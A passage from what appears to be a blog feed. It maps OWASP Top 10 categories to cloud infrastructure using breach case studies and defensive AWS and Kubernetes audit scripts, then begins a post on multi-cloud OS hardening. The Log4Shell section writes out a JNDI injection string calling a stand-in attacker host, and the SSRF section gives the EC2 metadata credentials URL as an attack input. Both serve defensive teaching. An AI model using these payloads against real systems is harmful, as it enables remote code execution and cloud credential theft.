<p><strong>Cloud equivalent:</strong> <code class="" data-line="">DATABASE_URL=postgres://user:password@host/db</code> in a <code class="" data-line="">.env</code> file committed to a public repository. An S3 bucket with sensitive data where server-side encryption is not enforced. KMS key policies that allow <code class="" data-line="">kms:Decrypt</code> to any principal in the account.</p>
<p>Cryptographic failures in the cloud are less about broken algorithms and more about secrets that aren&#8217;t secret. The CircleCI breach (January 2023) exposed customer secrets — API tokens, AWS credentials, private keys — that customers had stored in CircleCI&#8217;s environment variables. The attacker compromised CircleCI&#8217;s infrastructure and exfiltrated those secrets. The cryptographic failure was that secrets were stored in a way that could be exfiltrated when the platform was compromised, rather than being bound to hardware or using short-lived credentials that couldn&#8217;t be replayed.</p>
<pre><code class="" data-line=""># Check if default EBS encryption is enabled (prevents data at rest failures)
aws ec2 get-ebs-encryption-by-default --region us-east-1

# Check for S3 buckets without default encryption
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    enc=$(aws s3api get-bucket-encryption --bucket &quot;$bucket&quot; 2&gt;/dev/null)
    if [ -z &quot;$enc&quot; ]; then
      echo &quot;NO DEFAULT ENCRYPTION: $bucket&quot;
    fi
  done
</code></pre>
<hr />
<h2 id="a03-injection-log4shell-and-ssrf-as-injection-variants">A03: Injection — Log4Shell and SSRF as Injection Variants</h2>
<p><strong>Web equivalent:</strong> SQL injection via unsanitized query parameters.</p>
<p><strong>Cloud equivalent:</strong> Log4Shell (CVE-2021-44228) used JNDI lookup injection via HTTP headers to execute arbitrary code in Java applications. SSRF (Server-Side Request Forgery) is an injection variant where attacker-controlled input causes the server to make requests to internal endpoints — including <code class="" data-line="">http://169.254.169.254/latest/meta-data/</code>.</p>
<p>Log4Shell (December 2021) demonstrated injection against infrastructure directly. The <code class="" data-line="">User-Agent</code> or <code class="" data-line="">X-Forwarded-For</code> header contained <code class="" data-line="">${jndi:ldap://attacker.com/exploit}</code>. The logging framework evaluated it. The outcome was remote code execution on any Java application using Log4j 2.x.</p>
<p>The fix was not &#8220;validate user input better.&#8221; The fix was patching Log4j and — for SSRF — enforcing IMDSv2 (which requires a PUT request with a session token that a naive SSRF cannot produce).</p>
<pre><code class="" data-line=""># Check if all EC2 instances require IMDSv2 (prevents SSRF-to-metadata attacks)
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[].{ID:InstanceId,IMDSv2:MetadataOptions.HttpTokens}&#039; \
  --output table
# Desired: HttpTokens = &quot;required&quot; for all instances
</code></pre>
<hr />
<h2 id="a04-insecure-design-privileged-containers-and-missing-runtime-controls">A04: Insecure Design — Privileged Containers and Missing Runtime Controls</h2>
<p><strong>Web equivalent:</strong> Application architecture where any authenticated user can reach administrative functions without additional authorization checks.</p>
<p><strong>Cloud equivalent:</strong> A container deployed with <code class="" data-line="">--privileged: true</code> or <code class="" data-line="">allowPrivilegeEscalation: true</code>. A Kubernetes pod without <code class="" data-line="">securityContext</code> restricting capabilities. A cluster with no admission controller enforcing pod security standards.</p>
<p>Insecure design in the container context means the security controls that should prevent container breakout were never there. They weren&#8217;t removed — they were never designed in. The kernel doesn&#8217;t enforce namespace isolation when a container has <code class="" data-line="">CAP_SYS_ADMIN</code>. The attacker doesn&#8217;t exploit a vulnerability — they use capabilities the design granted.</p>
<pre><code class="" data-line=""># Find pods running as root or with privileged flag
kubectl get pods -A -o json | \
  jq -r &#039;.items[] | 
    select(
      (.spec.containers[].securityContext.privileged == true) or
      (.spec.securityContext.runAsNonRoot != true)
    ) | 
    &quot;\(.metadata.namespace)/\(.metadata.name)&quot;&#039;
</code></pre>
<hr />
<h2 id="a05-security-misconfiguration-default-kubernetes-rbac-and-open-ports">A05: Security Misconfiguration — Default Kubernetes RBAC and Open Ports</h2>
<p><strong>Web equivalent:</strong> Default admin credentials not changed. Directory listing enabled on the web server.</p>
<p><strong>Cloud equivalent:</strong> <code class="" data-line="">kubectl</code> access with <code class="" data-line="">cluster-admin</code> ClusterRoleBinding for the default service account. <code class="" data-line="">etcd</code> port 2379 accessible from the pod network. AWS security groups with <code class="" data-line="">0.0.0.0/0</code> on port 22.</p>
<p>Security misconfiguration in Kubernetes is particularly common because the defaults in older Kubernetes versions were not secure-by-default. The <code class="" data-line="">default</code> service account in each namespace mounts a service account token that can authenticate to the API server. In clusters without RBAC properly configured, that token can enumerate and modify resources.</p>
<pre><code class="" data-line=""># Check what the default service account can do in a namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# Find ClusterRoleBindings that bind cluster-admin to non-system subjects
kubectl get clusterrolebindings -o json | \
  jq &#039;.items[] | 
    select(.roleRef.name == &quot;cluster-admin&quot;) | 
    {name: .metadata.name, subjects: .subjects}&#039;
</code></pre>
<hr />
<h2 id="a06-vulnerable-and-outdated-components-transitive-dependencies-and-base-images">A06: Vulnerable and Outdated Components — Transitive Dependencies and Base Images</h2>
<p><strong>Web equivalent:</strong> An npm package in the dependency tree has a known CVE. The application ships with an outdated version of OpenSSL.</p>
<p><strong>Cloud equivalent:</strong> A container base image built from <code class="" data-line="">ubuntu:20.04</code> six months ago, now carrying 47 critical CVEs in installed packages. A Lambda function with a vendored boto3 version that has a known vulnerability. XZ Utils (CVE-2024-3094) — a backdoor inserted into the release tarball of a compression library present in almost every major Linux distribution.</p>
<p>XZ Utils is the defining example of this category in the infrastructure context. The attack was supply chain: two years of social engineering against a maintainer, gaining commit access, inserting a backdoor in the release tarball rather than the source repository (so source audits wouldn&#8217;t catch it). The XZ backdoor targeted SSH servers on systems using <code class="" data-line="">systemd</code> — it would have given the attacker remote code execution on SSH servers across Fedora, Debian, and Ubuntu before it was caught five weeks before broad distribution release.</p>
<pre><code class="" data-line=""># Scan a container image for known CVEs (requires trivy)
trivy image --severity HIGH,CRITICAL your-registry/your-image:tag

# Check Lambda function runtime versions against AWS&#039;s deprecation schedule
aws lambda list-functions \
  --query &#039;Functions[].{Name:FunctionName,Runtime:Runtime,LastModified:LastModified}&#039; \
  --output table
</code></pre>
<hr />
<h2 id="a07-identification-and-authentication-failures-mfa-fatigue-and-stolen-tokens">A07: Identification and Authentication Failures — MFA Fatigue and Stolen Tokens</h2>
<p><strong>Web equivalent:</strong> Session tokens that don&#8217;t expire. Password reset links that work indefinitely.</p>
<p><strong>Cloud equivalent:</strong> Push-notification MFA that can be exhausted by fatigue attacks. AWS console sessions with 12-hour validity. OAuth tokens stored in browser local storage. SAML assertions that can be replayed.</p>
<p>The Uber breach (September 2022) is the canonical cloud/SaaS example. A contractor&#8217;s credentials were obtained via social engineering. The attacker sent repeated Duo push notifications — the contractor rejected them. The attacker then sent a WhatsApp message claiming to be IT support and asking the contractor to accept the next notification. They did. From there, the attacker found a network share containing a PowerShell script with hardcoded admin credentials for Uber&#8217;s Thycotic PAM system — full access to the Uber internal network.</p>
<p>The authentication failure was two-layered: push MFA that could be fatigue-attacked, and credentials stored in plaintext in an accessible location.</p>
<pre><code class="" data-line=""># List IAM users with console access but no MFA enrolled
aws iam get-account-summary | jq &#039;{AccountMFAEnabled: .SummaryMap.AccountMFAEnabled}&#039;

# Find specific users without MFA
aws iam list-users --query &#039;Users[].UserName&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read user; do
    mfa=$(aws iam list-mfa-devices --user-name &quot;$user&quot; --query &#039;MFADevices&#039; --output text)
    if [ -z &quot;$mfa&quot; ]; then
      echo &quot;NO MFA: $user&quot;
    fi
  done
</code></pre>
<hr />
<h2 id="a08-software-and-data-integrity-failures-compromised-build-pipelines">A08: Software and Data Integrity Failures — Compromised Build Pipelines</h2>
<p><strong>Web equivalent:</strong> Pulling npm packages without verifying checksums. Deploying a build without artifact signing.</p>
<p><strong>Cloud equivalent:</strong> A CI/CD pipeline that pulls dependencies from an unauthenticated source. A container image built from a <code class="" data-line="">Dockerfile</code> that pulls the latest version of a base image without pinning the digest. A GitHub Actions workflow that references a third-party action at a mutable tag rather than a commit SHA.</p>
<p>SolarWinds (December 2020) is the infrastructure-scale example. The attacker compromised SolarWinds&#8217; build system. The malicious code (SUNBURST) was inserted into the Orion software build process, signed with SolarWinds&#8217; legitimate code signing certificate, and distributed to approximately 18,000 customers via the normal software update mechanism. The artifact was signed. The signature verified. The code was malicious.</p>
<p>The software integrity failure was that the build pipeline itself was not monitored or hardened — an attacker who controlled the build environment could produce signed, trusted artifacts.</p>
<pre><code class="" data-line=""># Check GitHub Actions workflows for mutable action references (uses @main or @v1 instead of SHA)
grep -r &quot;uses:&quot; .github/workflows/ | grep -v &quot;@[a-f0-9]\{40\}&quot;

# Verify a container image digest before deployment
docker pull your-registry/your-image:tag
docker inspect your-registry/your-image:tag --format=&#039;{{.Id}}&#039;
# Compare this digest to the pinned value in your deployment manifest
</code></pre>
<hr />
<h2 id="a09-security-logging-and-monitoring-failures-what-you-cant-see-you-cant-stop">A09: Security Logging and Monitoring Failures — What You Can&#8217;t See, You Can&#8217;t Stop</h2>
<p><strong>Web equivalent:</strong> No access logs on the web server. No alerting on repeated failed login attempts.</p>
<p><strong>Cloud equivalent:</strong> CloudTrail not enabled in all regions. VPC Flow Logs disabled. No GuardDuty. Container workloads with no runtime security monitoring. Lambda functions that log errors to <code class="" data-line="">/dev/null</code>.</p>
<p>This is the category that causes the 11-day detection time from EP01. The attacker&#8217;s techniques generated events. The events were not collected, or collected but not alerting, or alerting but not investigated.</p>
<pre><code class="" data-line=""># Verify CloudTrail is logging in all regions
aws cloudtrail describe-trails --include-shadow-trails true \
  --query &#039;trailList[?IsMultiRegionTrail==`true`].{Name:Name,Bucket:S3BucketName,Logging:HasCustomEventSelectors}&#039;

# Check which regions have GuardDuty disabled
for region in $(aws ec2 describe-regions --query &#039;Regions[].RegionName&#039; --output text); do
  status=$(aws guardduty list-detectors --region &quot;$region&quot; --query &#039;DetectorIds&#039; --output text 2&gt;/dev/null)
  if [ -z &quot;$status&quot; ]; then
    echo &quot;GUARDDUTY DISABLED: $region&quot;
  fi
done
</code></pre>
<hr />
<h2 id="a10-server-side-request-forgery-ssrf-ec2-metadata-and-imdsv1">A10: Server-Side Request Forgery (SSRF) — EC2 Metadata and IMDSv1</h2>
<p><strong>Web equivalent:</strong> An application fetches a URL provided by the user. The user provides <code class="" data-line="">http://internal-service/admin</code>.</p>
<p><strong>Cloud equivalent:</strong> An application fetches a URL provided by the user (or constructed from user input). The user provides <code class="" data-line="">http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. The response contains temporary IAM credentials valid for the attached instance role.</p>
<p>This is how the Capital One breach worked. A WAF instance had a SSRF vulnerability. The attacker exploited it to reach the EC2 Instance Metadata Service (IMDS). IMDSv1 has no authentication — any HTTP GET to the metadata endpoint from inside the instance returns credentials. Those credentials had overly permissive S3 access (A01). The result was 100 million records exfiltrated.</p>
<p>IMDSv2 requires a PUT request to get a session token before credentials can be retrieved — a SSRF via GET cannot retrieve IMDSv2 credentials. Enforcing IMDSv2 closes the SSRF-to-credentials path.</p>
<pre><code class="" data-line=""># Check all EC2 instances for IMDSv1 (HttpTokens != &quot;required&quot; means vulnerable)
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[].{
    ID:InstanceId,
    Name:Tags[?Key==`Name`]|[0].Value,
    IMDSv2:MetadataOptions.HttpTokens,
    State:State.Name
  }&#039; \
  --output table

# Enforce IMDSv2 on a specific instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-0123456789abcdef0 \
  --http-tokens required \
  --http-endpoint enabled
</code></pre>
<hr />
<h2 id="the-series-attack-map-which-episodes-cover-which-categories">The Series Attack Map: Which Episodes Cover Which Categories</h2>
<table>
<thead>
<tr>
<th>OWASP</th>
<th>Category</th>
<th>Purple Team Episode</th>
</tr>
</thead>
<tbody>
<tr>
<td>A01</td>
<td>Broken Access Control</td>
<td>EP04: <a href="/broken-access-control-aws/">Broken access control in AWS</a></td>
</tr>
<tr>
<td>A02</td>
<td>Cryptographic Failures</td>
<td>EP06 (partial): <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a></td>
</tr>
<tr>
<td>A03</td>
<td>Injection</td>
<td>EP07: SSRF to cloud metadata</td>
</tr>
<tr>
<td>A04</td>
<td>Insecure Design</td>
<td>EP08: Kubernetes container escape</td>
</tr>
<tr>
<td>A05</td>
<td>Security Misconfiguration</td>
<td>EP08: Kubernetes container escape</td>
</tr>
<tr>
<td>A06</td>
<td>Vulnerable Components</td>
<td>EP09: Supply chain attacks</td>
</tr>
<tr>
<td>A07</td>
<td>Authentication Failures</td>
<td>EP05: <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a></td>
</tr>
<tr>
<td>A08</td>
<td>SW/Data Integrity</td>
<td>EP06: <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a>, EP09: Supply chain</td>
</tr>
<tr>
<td>A09</td>
<td>Logging/Monitoring Failures</td>
<td>EP11: Detection engineering with eBPF</td>
</tr>
<tr>
<td>A10</td>
<td>SSRF</td>
<td>EP07: SSRF to cloud metadata</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="run-this-in-your-own-environment-owasp-coverage-self-assessment">Run This in Your Own Environment: OWASP Coverage Self-Assessment</h2>
<p>Run this against your AWS account and record the results as your OWASP A01–A10 baseline before the EP04 exercise:</p>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP02 — OWASP Cloud Coverage Check
# Run in an account with read-only IAM permissions

echo &quot;=== A01: Broken Access Control ===&quot;
echo &quot;--- S3 public access block status ---&quot;
aws s3control get-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text) 2&gt;/dev/null || \
  echo &quot;WARN: Account-level public access block not set&quot;

echo &quot;&quot;
echo &quot;=== A02: Cryptographic Failures ===&quot;
echo &quot;--- EBS default encryption ---&quot;
aws ec2 get-ebs-encryption-by-default --query &#039;EbsEncryptionByDefault&#039; --output text

echo &quot;&quot;
echo &quot;=== A05: Security Misconfiguration ===&quot;
echo &quot;--- GuardDuty status in current region ---&quot;
aws guardduty list-detectors --query &#039;DetectorIds&#039; --output text || echo &quot;DISABLED&quot;

echo &quot;&quot;
echo &quot;=== A07: Authentication Failures ===&quot;
echo &quot;--- IAM users without MFA ---&quot;
aws iam generate-credential-report 2&gt;/dev/null
sleep 3
aws iam get-credential-report --query &#039;Content&#039; --output text | base64 -d | \
  awk -F&#039;,&#039; &#039;NR&gt;1 &amp;&amp; $4==&quot;true&quot; &amp;&amp; $8==&quot;false&quot; {print &quot;NO MFA: &quot;$1}&#039;

echo &quot;&quot;
echo &quot;=== A09: Logging/Monitoring Failures ===&quot;
echo &quot;--- CloudTrail multi-region trail ---&quot;
aws cloudtrail describe-trails --query &#039;trailList[?IsMultiRegionTrail==`true`].Name&#039; --output text || \
  echo &quot;WARN: No multi-region trail&quot;

echo &quot;&quot;
echo &quot;=== A10: SSRF ===&quot;
echo &quot;--- EC2 instances with IMDSv1 enabled ---&quot;
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[?MetadataOptions.HttpTokens!=`required`].{ID:InstanceId,IMDS:MetadataOptions.HttpTokens}&#039; \
  --output table
</code></pre>
<hr />
<h2 id="common-mistakes-when-mapping-owasp-to-infrastructure"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Mapping OWASP to Infrastructure</h2>
<p><strong>Treating it as a checklist, not a threat model.</strong> OWASP categories are not yes/no checkboxes. &#8220;Is broken access control present?&#8221; is not a question with a binary answer. The question is: which resources are accessible to which principals, and is that access correct given the intended design?</p>
<p><strong>Ignoring A09 (Logging/Monitoring) until the breach.</strong> The first nine categories are about preventing or limiting the attack. A09 is about knowing it happened. Without A09 controls, you will not know you were breached until a third party tells you.</p>
<p><strong>Fixing web-layer controls and ignoring the infrastructure equivalents.</strong> An organization that scores well on OWASP in their web application pen test may still have public S3 buckets, IMDSv1 enabled everywhere, and no CloudTrail in us-west-1. The mapping in this episode applies to infrastructure — run it separately from your application security assessments.</p>
<p><strong>Conflating A06 (Vulnerable Components) with just &#8220;patch management.&#8221;</strong> XZ Utils was fully patched in the affected timeframe — the malicious version <em>was</em> the latest release. A06 in the supply chain context is about verifying the integrity of what you install, not just its version number.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>OWASP</th>
<th>Cloud Infrastructure Equivalent</th>
<th>Detection Tool</th>
</tr>
</thead>
<tbody>
<tr>
<td>A01</td>
<td>IAM wildcards, public S3, broad trust policies</td>
<td>AWS Config, CloudTrail</td>
</tr>
<tr>
<td>A02</td>
<td>Plaintext secrets in env vars, unencrypted S3</td>
<td>TruffleHog, Macie</td>
</tr>
<tr>
<td>A03</td>
<td>SSRF, Log4j JNDI injection</td>
<td>WAF logs, CloudTrail IMDS calls</td>
</tr>
<tr>
<td>A04</td>
<td>Privileged containers, no seccomp</td>
<td>OPA/Gatekeeper, Falco</td>
</tr>
<tr>
<td>A05</td>
<td>K8s RBAC defaults, open etcd, open SGs</td>
<td>kube-bench, AWS Config</td>
</tr>
<tr>
<td>A06</td>
<td>Unpatched base images, transitive CVEs, supply chain</td>
<td>Trivy, Grype, SLSA</td>
</tr>
<tr>
<td>A07</td>
<td>MFA fatigue, long-lived sessions, stolen tokens</td>
<td>GuardDuty, Okta logs</td>
</tr>
<tr>
<td>A08</td>
<td>Unsigned images, mutable CI references, build compromise</td>
<td>Cosign, SLSA, OIDC</td>
</tr>
<tr>
<td>A09</td>
<td>No CloudTrail, no GuardDuty, no runtime telemetry</td>
<td>AWS Security Hub</td>
</tr>
<tr>
<td>A10</td>
<td>IMDSv1 on EC2, SSRF to internal endpoints</td>
<td>VPC Flow Logs, CloudTrail</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>OWASP Top 10 is a threat taxonomy — every category has a cloud, Kubernetes, or Linux infrastructure equivalent</li>
<li>A01 (Broken Access Control) is the most common cloud failure: IAM wildcards, public S3, and overly broad trust policies</li>
<li>A10 (SSRF) is what enabled the Capital One breach — IMDSv1 on EC2 makes any SSRF a credential theft path</li>
<li>A08 (Software/Data Integrity) is the SolarWinds attack class — supply chain compromise of the build pipeline itself</li>
<li>A09 (Logging/Monitoring) is the category that turns the other nine from &#8220;detectable breach&#8221; into &#8220;11-day dwell time&#8221;</li>
<li>Fixing A01–A08 without A09 means you improve your controls but still won&#8217;t know when they&#8217;re bypassed</li>
<li>Run the OWASP coverage self-assessment above and record your baseline before starting the episode exercises</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP03 is the breach landscape: six major incidents from December 2020 (SolarWinds) through April 2024 (XZ Utils). Each one maps to the OWASP categories from this episode. The pattern across all six is three root causes — identity, supply chain, misconfiguration — and understanding that pattern tells you where to spend your next purple team exercise. The <a href="/cloud-security-breaches-2020-2025/">cloud security breaches from 2020 to 2025</a> are the empirical record this series is built on.</p>
<p>Get EP03 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&#038;title=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" data-a2a-url="https://linuxcent.com/owasp-top-10-cloud-infrastructure/" data-a2a-title="OWASP Top 10 Mapped to Cloud Infrastructure: Beyond Web Apps"></a></p><p>The post <a href="https://linuxcent.com/owasp-top-10-cloud-infrastructure/">OWASP Top 10 Mapped to Cloud Infrastructure: Beyond Web Apps</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/owasp-top-10-cloud-infrastructure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1846</post-id>	</item>
		<item>
		<title>One Blueprint, Six Clouds — Multi-Provider OS Image Builds</title>
		<link>https://linuxcent.com/linux-hardening-multi-cloud/</link>
					<comments>https://linuxcent.com/linux-hardening-multi-cloud/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sun, 26 Apr 2026 19:41:36 +0000</pubDate>
				<category><![CDATA[OS Image Builder]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[BakeX]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[GCP]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Multi-Cloud]]></category>
		<category><![CDATA[OS Hardening]]></category>
		<guid isPermaLink="false">https://linuxcent.com/linux-hardening-multi-cloud/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span>One HardeningBlueprint YAML, six cloud providers: AWS, GCP, Azure, DigitalOcean, Linode, Proxmox. How Stratum handles provider differences so your compliance intent stays portable.</p>
<p>The post <a href="https://linuxcent.com/linux-hardening-multi-cloud/">One Blueprint, Six Clouds — Multi-Provider OS Image Builds</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>OS Hardening as Code, Episode 3</em><br />
<em><a href="https://linuxcent.com/cloud-ami-security-risks-custom-os-images/">Cloud AMI Security Risks</a> · <a href="https://linuxcent.com/linux-hardening-as-code/">Linux Hardening as Code</a> · </em><em>Multi-Cloud OS Hardening</em>**</p>
<blockquote>
<p><strong>Note:</strong> the tool in this series was released as <strong>Stratum</strong> and renamed to <strong>BakeX</strong> at<br />
v0.6.0 — same project, same license, same team. Commands below use the current <code class="" data-line="">bakex</code><br />
CLI. If you arrived here looking for <code class="" data-line="">stratum</code> or <code class="" data-line="">pip install stratumoss</code>, you&#8217;re in the<br />
right place: <a href="https://github.com/invicton/bakex">github.com/invicton/bakex</a>.</p>
</blockquote>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Multi-cloud OS hardening with separate scripts per provider means three scripts that drift within weeks</li>
<li>A HardeningBlueprint YAML separates compliance intent (portable) from provider details (handled by BakeX&#8217;s provider layer)</li>
<li>You keep one blueprint file per provider — and every section except <code class="" data-line="">target</code> stays byte-identical across all six. The diff below proves it</li>
<li>Provider-specific differences — disk names, cloud-init ordering, base image identifiers — are abstracted away from the blueprint author</li>
<li>The compliance posture becomes reviewable in a pull request: a control change touches six files identically, and a reviewer can see that at a glance</li>
<li>Six providers ship as working blueprints today: AWS, GCP, Azure, DigitalOcean, Linode, Proxmox</li>
</ul>
<hr />
<h2 id="the-problem-three-clouds-three-scripts-three-ways-to-drift">The Problem: Three Clouds, Three Scripts, Three Ways to Drift</h2>
<pre><code class="" data-line="">AWS hardening script          GCP hardening script          Azure hardening script
├── /dev/xvd* disk refs       ├── /dev/sda* disk refs       ├── /dev/sda* disk refs
├── 169.254.169.254 IMDS      ├── 169.254.169.254 IMDS      ├── 169.254.169.254 IMDS
├── cloud-init order A        ├── cloud-init order B        ├── cloud-init order C
└── Updated: Jan 2025         └── Updated: Aug 2024         └── Updated: Mar 2024
                                         │
                                         └─ 5 months behind
                                            on CIS updates
</code></pre>
<p>Multi-cloud OS hardening starts as a copy-paste of the AWS script. Within a month, the clouds diverge.</p>
<p>EP02 showed that a HardeningBlueprint YAML eliminates the skip-at-2am problem by making hardening a build artifact. What it assumed — quietly — is that you&#8217;re building for one provider. The moment you expand to a second cloud, the provider-specific details in the blueprint become a problem: disk names differ, cloud-init fires in a different order, and AWS-specific assumptions break silently on GCP.</p>
<hr />
<p>We expanded from AWS to GCP six months ago. The EC2 hardening script had been working reliably for over a year. The GCP engineer took the AWS script, made some quick changes, and started building images.</p>
